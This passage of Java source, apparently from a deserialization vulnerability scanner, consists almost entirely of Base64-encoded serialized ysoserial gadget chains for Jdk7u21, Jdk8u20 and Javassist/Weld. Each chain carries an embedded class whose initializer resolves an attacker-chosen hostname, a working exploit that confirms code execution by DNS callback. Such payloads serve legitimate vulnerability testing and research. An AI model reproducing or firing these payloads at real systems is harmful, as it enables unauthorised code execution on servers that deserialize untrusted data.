JuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHACgBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQAIPGNsaW5pdD4BAAVYWFhYWAgAKgEAFGphdmEvbmV0L0luZXRBZGRyZXNzBwAsAQAJZ2V0QnlOYW1lAQAqKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9uZXQvSW5ldEFkZHJlc3M7DAAuAC8KAC0AMAEAHnlzb3NlcmlhbC9Qd25lcjQ1NDc1MzgzNzg2MTc5NwEAIEx5c29zZXJpYWwvUHduZXI0NTQ3NTM4Mzc4NjE3OTc7ACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAAEAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAALgAOAAAADAABAAAABQAPADMAAAABABMAFAACAAwAAAA/AAAAAwAAAAGxAAAAAgANAAAABgABAAAAMwAOAAAAIAADAAAAAQAPADMAAAAAAAEAFQAWAAEAAAABABcAGAACABkAAAAEAAEAGgABABMAGwACAAwAAABJAAAABAAAAAGxAAAAAgANAAAABgABAAAANwAOAAAAKgAEAAAAAQAPADMAAAAAAAEAFQAWAAEAAAABABwAHQACAAAAAQAeAB8AAwAZAAAABAABABoACAApAAsAAQAMAAAAGAACAAIAAAAMpwADAUwSK7gAMVexAAAAAAACACAAAAACACEAEQAAAAoAAQACACMAEAAJdXEAfgAQAAAB1Mr+ur4AAAAxABsKAAMAFQcAFwcAGAcAGQEAEHNlcmlhbFZlcnNpb25VSUQBAAFKAQANQ29uc3RhbnRWYWx1ZQVx5mnuPG1HGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQADRm9vAQAMSW5uZXJDbGFzc2VzAQAlTHlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEMAAoACwcAGgEAI3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vAQAQamF2YS9sYW5nL09iamVjdAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgAAQABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAADsADgAAAAwAAQAAAAUADwASAAAAAgATAAAAAgAUABEAAAAKAAEAAgAWABAACXB0AARQd25ycHcBAHhxAH4ADXg="));
        payloadsDNS.put("Java 6 and Java 7 (up to Jdk7u21) (DNS)", Base64.decodeBase64("rO0ABXNyABdqYXZhLnV0aWwuTGlua2VkSGFzaFNldNhs11qV3SoeAgAAeHIAEWphdmEudXRpbC5IYXNoU2V0ukSFlZa4tzQDAAB4cHcMAAAAED9AAAAAAAACc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP////91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAJ1cgACW0Ks8xf4BghU4AIAAHhwAAAGWcr+ur4AAAAxADQKAAMAIgcAMgcAJQcAJgEAEHNlcmlhbFZlcnNpb25VSUQBAAFKAQANQ29uc3RhbnRWYWx1ZQWtIJPzkd3vPgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQATU3R1YlRyYW5zbGV0UGF5bG9hZAEADElubmVyQ2xhc3NlcwEANUx5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQ7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACcBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEMAAoACwcAKAEAM3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMBAAg8Y2xpbml0PgEABVhYWFhYCAAqAQAUamF2YS9uZXQvSW5ldEFkZHJlc3MHACwBAAlnZXRCeU5hbWUBACooTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL25ldC9JbmV0QWRkcmVzczsMAC4ALwoALQAwAQAdeXNvc2VyaWFsL1B3bmVyMzQ0MDM5NTE1ODQ4MDkBAB9MeXNvc2VyaWFsL1B3bmVyMzQ0MDM5NTE1ODQ4MDk7ACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAAEAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAALgAOAAAADAABAAAABQAPADMAAAABABMAFAACAAwAAAA/AAAAAwAAAAGxAAAAAgANAAAABgABAAAAMwAOAAAAIAADAAAAAQAPADMAAAAAAAEAFQAWAAEAAAABABcAGAACABkAAAAEAAEAGgABABMAGwACAAwAAABJAAAABAAAAAGxAAAAAgANAAAABgABAAAANwAOAAAAKgAEAAAAAQAPADMAAAAAAAEAFQAWAAEAAAABABwAHQACAAAAAQAeAB8AAwAZAAAABAABABoACAApAAsAAQAMAAAAGAACAAIAAAAMpwADAUwSK7gAMVexAAAAAAACACAAAAACACEAEQAAAAoAAQACACMAEAAJdXEAfgALAAAB1Mr+ur4AAAAxABsKAAMAFQcAFwcAGAcAGQEAEHNlcmlhbFZlcnNpb25VSUQBAAFKAQANQ29uc3RhbnRWYWx1ZQVx5mnuPG1HGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQADRm9vAQAMSW5uZXJDbGFzc2VzAQAlTHlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEMAAoACwcAGgEAI3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vAQAQamF2YS9sYW5nL09iamVjdAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgAAQABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAADsADgAAAAwAAQAAAAUADwASAAAAAgATAAAAAgAUABEAAAAKAAEAAgAWABAACXB0AARQd25ycHcBAHhzfQAAAAEAHWphdmF4LnhtbC50cmFuc2Zvcm0uVGVtcGxhdGVzeHIAF2phdmEubGFuZy5yZWZsZWN0LlByb3h54SfaIMwQQ8sCAAFMAAFodAAlTGphdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25IYW5kbGVyO3hwc3IAMnN1bi5yZWZsZWN0LmFubm90YXRpb24uQW5ub3RhdGlvbkludm9jYXRpb25IYW5kbGVyVcr1DxXLfqUCAAJMAAxtZW1iZXJWYWx1ZXN0AA9MamF2YS91dGlsL01hcDtMAAR0eXBldAARTGphdmEvbGFuZy9DbGFzczt4cHNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABdAAIZjVhNWE2MDhxAH4ACHh2cgAdamF2YXgueG1sLnRyYW5zZm9ybS5UZW1wbGF0ZXMAAAAAAAAAAAAAAHhweA=="));
        payloadsDNS.put("Java 8 (up to Jdk8u20) (DNS)", Base64.decodeBase64("rO0ABXNyABdqYXZhLnV0aWwuTGlua2VkSGFzaFNldNhs11qV3SoeAgAAeHIAEWphdmEudXRpbC5IYXNoU2V0ukSFlZa4tzQDAAB4cHcMAAAAED9AAAAAAAACc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMACUkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFoAFV91c2VTZXJ2aWNlc01lY2hhbmlzbUwAGV9hY2Nlc3NFeHRlcm5hbFN0eWxlc2hlZXR0ABJMamF2YS9sYW5nL1N0cmluZztMAAtfYXV4Q2xhc3Nlc3QAO0xjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9IYXNodGFibGU7WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AAVMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////AHQAA2FsbHB1cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAJ1cgACW0Ks8xf4BghU4AIAAHhwAAAGIMr+ur4AAAAxADQHADIBACB1dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZAcABAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHAAYBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAEHNlcmlhbFZlcnNpb25VSUQBAAFKAQANQ29uc3RhbnRWYWx1ZQWtIJPzkd3vPgEABjxpbml0PgEAAygpVgEABENvZGUKAAMAEAwADAANAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAIkx1dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAApFeGNlcHRpb25zBwAZAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQEADElubmVyQ2xhc3NlcwcAJwEADHV0aWwvR2FkZ2V0cwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAg8Y2xpbml0PgEABVhYWFhYCAAqAQAUamF2YS9uZXQvSW5ldEFkZHJlc3MHACwBAAlnZXRCeU5hbWUBACooTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL25ldC9JbmV0QWRkcmVzczsMAC4ALwoALQAwAQAdeXNvc2VyaWFsL1B3bmVyMzQ2MjM2NDY1NDgyODcBAB9MeXNvc2VyaWFsL1B3bmVyMzQ2MjM2NDY1NDgyODc7ACEAAQADAAEABQABABoABwAIAAEACQAAAAIACgAEAAEADAANAAEADgAAAC8AAQABAAAABSq3AA+xAAAAAgARAAAABgABAAAAHAASAAAADAABAAAABQATADMAAAABABUAFgACABcAAAAEAAEAGAAOAAAAPwAAAAMAAAABsQAAAAIAEQAAAAYAAQAAAB8AEgAAACAAAwAAAAEAEwAzAAAAAAABABoAGwABAAAAAQAcAB0AAgABABUAHgACABcAAAAEAAEAGAAOAAAASQAAAAQAAAABsQAAAAIAEQAAAAYAAQAAACIAEgAAACoABAAAAAEAEwAzAAAAAAABABoAGwABAAAAAQAfACAAAgAAAAEAIQAiAAMACAApAA0AAQAOAAAAGAACAAIAAAAMpwADAUwSK7gAMVexAAAAAAACACMAAAACACQAJQAAAAoAAQABACYAKAAJdXEAfgANAAABm8r+ur4AAAAxABsHAAIBABB1dGlsL0dhZGdldHMkRm9vBwAEAQAQamF2YS9sYW5nL09iamVjdAcABgEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQoAAwAQDAAMAA0BAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQASTHV0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQEADElubmVyQ2xhc3NlcwcAGQEADHV0aWwvR2FkZ2V0cwEAA0ZvbwAhAAEAAwABAAUAAQAaAAcACAABAAkAAAACAAoAAQABAAwADQABAA4AAAAvAAEAAQAAAAUqtwAPsQAAAAIAEQAAAAYAAQAAACYAEgAAAAwAAQAAAAUAEwAUAAAAAgAVAAAAAgAWABcAAAAKAAEAAQAYABoACXB0AARQd25ycHcBAHhzfQAAAAEAHWphdmF4LnhtbC50cmFuc2Zvcm0uVGVtcGxhdGVzeHIAF2phdmEubGFuZy5yZWZsZWN0LlByb3h54SfaIMwQQ8sCAAJMAAVkdW1teXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcgApamF2YS5iZWFucy5iZWFuY29udGV4dC5CZWFuQ29udGV4dFN1cHBvcnS8SCDwkY+5DAMAAUkADHNlcmlhbGl6YWJsZXhyAC5qYXZhLmJlYW5zLmJlYW5jb250ZXh0LkJlYW5Db250ZXh0Q2hpbGRTdXBwb3J0V9TvxwTcciUCAAFMABRiZWFuQ29udGV4dENoaWxkUGVlcnQAKUxqYXZhL2JlYW5zL2JlYW5jb250ZXh0L0JlYW5Db250ZXh0Q2hpbGQ7eHBxAH4AGQAAAAFzcgAyc3VuLnJlZmxlY3QuYW5ub3RhdGlvbi5Bbm5vdGF0aW9uSW52b2NhdGlvbkhhbmRsZXJVyvUPFct+pQMAAkwABHR5cGV0ABFMamF2YS9sYW5nL0NsYXNzO0wADG1lbWJlclZhbHVlc3QAD0xqYXZhL3V0aWwvTWFwO3hwdnIAHWphdmF4LnhtbC50cmFuc2Zvcm0uVGVtcGxhdGVzAAAAAAAAAAAAAAB4cHNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABdAAIZjVhNWE2MDhxAH4ACXh3BAAAAAB4cQB+AB14"));
        payloadsDNS.put("Javassist/Weld (DNS)", Base64.decodeBase64("rO0ABXNyADlvcmcuamJvc3Mud2VsZC5pbnRlcmNlcHRvci5wcm94eS5JbnRlcmNlcHRvck1ldGhvZEhhbmRsZXLM8O5RGt5IsQMABUwAEWludGVyY2VwdGlvbk1vZGVsdAA4TG9yZy9qYm9zcy93ZWxkL2ludGVyY2VwdG9yL3NwaS9tb2RlbC9JbnRlcmNlcHRpb25Nb2RlbDtMABtpbnRlcmNlcHRvckhhbmRsZXJJbnN0YW5jZXN0AA9MamF2YS91dGlsL01hcDtMABhpbnZvY2F0aW9uQ29udGV4dEZhY3Rvcnl0AEFMb3JnL2pib3NzL3dlbGQvaW50ZXJjZXB0b3Ivc3BpL2NvbnRleHQvSW52b2NhdGlvbkNvbnRleHRGYWN0b3J5O0wAHnRhcmdldENsYXNzSW50ZXJjZXB0b3JNZXRhZGF0YXQAPUxvcmcvamJvc3Mvd2VsZC9pbnRlcmNlcHRvci9zcGkvbWV0YWRhdGEvSW50ZXJjZXB0b3JNZXRhZGF0YTtMAA50YXJnZXRJbnN0YW5jZXQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwc3IAOG9yZy5qYm9zcy53ZWxkLmludGVyY2VwdG9yLmJ1aWxkZXIuSW50ZXJjZXB0aW9uTW9kZWxJbXBsqH23DpQF1LICAAVMAA9hbGxJbnRlcmNlcHRvcnN0AA9MamF2YS91dGlsL1NldDtMABJnbG9iYWxJbnRlcmNlcHRvcnNxAH4AAkwAEWludGVyY2VwdGVkRW50aXR5cQB+AAVMABdtZXRob2RCb3VuZEludGVyY2VwdG9yc3EAfgACTAAWbWV0aG9kc0lnbm9yaW5nR2xvYmFsc3EAfgAIeHBzcgAXamF2YS51dGlsLkxpbmtlZEhhc2hTZXTYbNdald0qHgIAAHhyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAABA/QAAAAAAAAXNyADtvcmcuamJvc3Mud2VsZC5pbnRlcmNlcHRvci5yZWFkZXIuU2ltcGxlSW50ZXJjZXB0b3JNZXRhZGF0YQAEbiYyzfCLAgADWgALdGFyZ2V0Q2xhc3NMABRpbnRlcmNlcHRvck1ldGhvZE1hcHEAfgACTAAUaW50ZXJjZXB0b3JSZWZlcmVuY2V0AD5Mb3JnL2pib3NzL3dlbGQvaW50ZXJjZXB0b3Ivc3BpL21ldGFkYXRhL0ludGVyY2VwdG9yUmVmZXJlbmNlO3hwAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABfnIANW9yZy5qYm9zcy53ZWxkLmludGVyY2VwdG9yLnNwaS5tb2RlbC5JbnRlcmNlcHRpb25UeXBlAAAAAAAAAAASAAB4cgAOamF2YS5sYW5nLkVudW0AAAAAAAAAABIAAHhwdAANUE9TVF9BQ1RJVkFURXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAABdwQAAAABc3IAX29yZy5qYm9zcy53ZWxkLmludGVyY2VwdG9yLnJlYWRlci5EZWZhdWx0TWV0aG9kTWV0YWRhdGEkRGVmYXVsdE1ldGhvZE1ldGFkYXRhU2VyaWFsaXphdGlvblByb3h5RJUx7JHe/wkCAAJMAA9tZXRob2RSZWZlcmVuY2V0ADRMb3JnL2pib3NzL3dlbGQvaW50ZXJjZXB0b3IvYnVpbGRlci9NZXRob2RSZWZlcmVuY2U7TAAac3VwcG9ydGVkSW50ZXJjZXB0aW9uVHlwZXNxAH4ACHhwc3IAMm9yZy5qYm9zcy53ZWxkLmludGVyY2VwdG9yLmJ1aWxkZXIuTWV0aG9kUmVmZXJlbmNl8eoUNeWxSq8CAANMAA5kZWNsYXJpbmdDbGFzc3QAEUxqYXZhL2xhbmcvQ2xhc3M7TAAKbWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sADnBhcmFtZXRlclR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB2cgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3EAfgAeTAAFX25hbWVxAH4AHUwAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwdAAObmV3VHJhbnNmb3JtZXJ1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAABzcQB+AAt3DAAAABA/QAAAAAAAAXEAfgAUeHh4c3IAQ29yZy5qYm9zcy53ZWxkLmludGVyY2VwdG9yLnJlYWRlci5DbGFzc01ldGFkYXRhSW50ZXJjZXB0b3JSZWZlcmVuY2X3ZzfjWi0DMQIAAUwADWNsYXNzTWV0YWRhdGF0ADdMb3JnL2pib3NzL3dlbGQvaW50ZXJjZXB0b3Ivc3BpL21ldGFkYXRhL0NsYXNzTWV0YWRhdGE7eHBzcgA5b3JnLmpib3NzLndlbGQuaW50ZXJjZXB0b3IucmVhZGVyLlJlZmxlY3RpdmVDbGFzc01ldGFkYXRh4wOFP/dsTr4CAAFMAAVjbGF6enEAfgAceHB2cQB+ABB4c3EAfgAQP0AAAAAAAAx3CAAAABAAAAAGfnEAfgASdAANQVJPVU5EX0lOVk9LRXNxAH4AFgAAAAF3BAAAAAFxAH4AD3h+cQB+ABJ0AA5QT1NUX0NPTlNUUlVDVHNxAH4AFgAAAAF3BAAAAAFxAH4AD3h+cQB+ABJ0AAtQUkVfREVTVFJPWXNxAH4AFgAAAAF3BAAAAAFxAH4AD3h+cQB+ABJ0AA1QUkVfUEFTU0lWQVRFc3EAfgAWAAAAAXcEAAAAAXEAfgAPeH5xAH4AEnQADkFST1VORF9USU1FT1VUc3EAfgAWAAAAAXcEAAAAAXEAfgAPeHEAfgAUc3EAfgAWAAAAAXcEAAAAAXEAfgAPeHhxAH4ALXNxAH4AED9AAAAAAAAAdwgAAAAQAAAAAHhzcQB+AAt3DAAAABA/QAAAAAAAAHhzcQB+ABA/QAAAAAAADHcIAAAAEAAAAAFxAH4AD3NxAH4AIAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABnTK/rq+AAAAMgA1BwAzAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkBwAEAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcABgEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQoAAwAQDAAMAA0BAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAApFeGNlcHRpb25zBwAZAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQEADElubmVyQ2xhc3NlcwcAJwEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAIPGNsaW5pdD4BAAVYWFhYWAgAKgEAFGphdmEvbmV0L0luZXRBZGRyZXNzBwAsAQAJZ2V0QnlOYW1lAQAqKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9uZXQvSW5ldEFkZHJlc3M7DAAuAC8KAC0AMAEADVN0YWNrTWFwVGFibGUBAB55c29zZXJpYWwvUHduZXIyMDI2ODYwNTI0MTY4MDABACBMeXNvc2VyaWFsL1B3bmVyMjAyNjg2MDUyNDE2ODAwOwAhAAEAAwABAAUAAQAaAAcACAABAAkAAAACAAoABAABAAwADQABAA4AAAAvAAEAAQAAAAUqtwAPsQAAAAIAEQAAAAYAAQAAAC8AEgAAAAwAAQAAAAUAEwA0AAAAAQAVABYAAgAXAAAABAABABgADgAAAD8AAAADAAAAAbEAAAACABEAAAAGAAEAAAA0ABIAAAAgAAMAAAABABMANAAAAAAAAQAaABsAAQAAAAEAHAAdAAIAAQAVAB4AAgAXAAAABAABABgADgAAAEkAAAAEAAAAAbEAAAACABEAAAAGAAEAAAA4ABIAAAAqAAQAA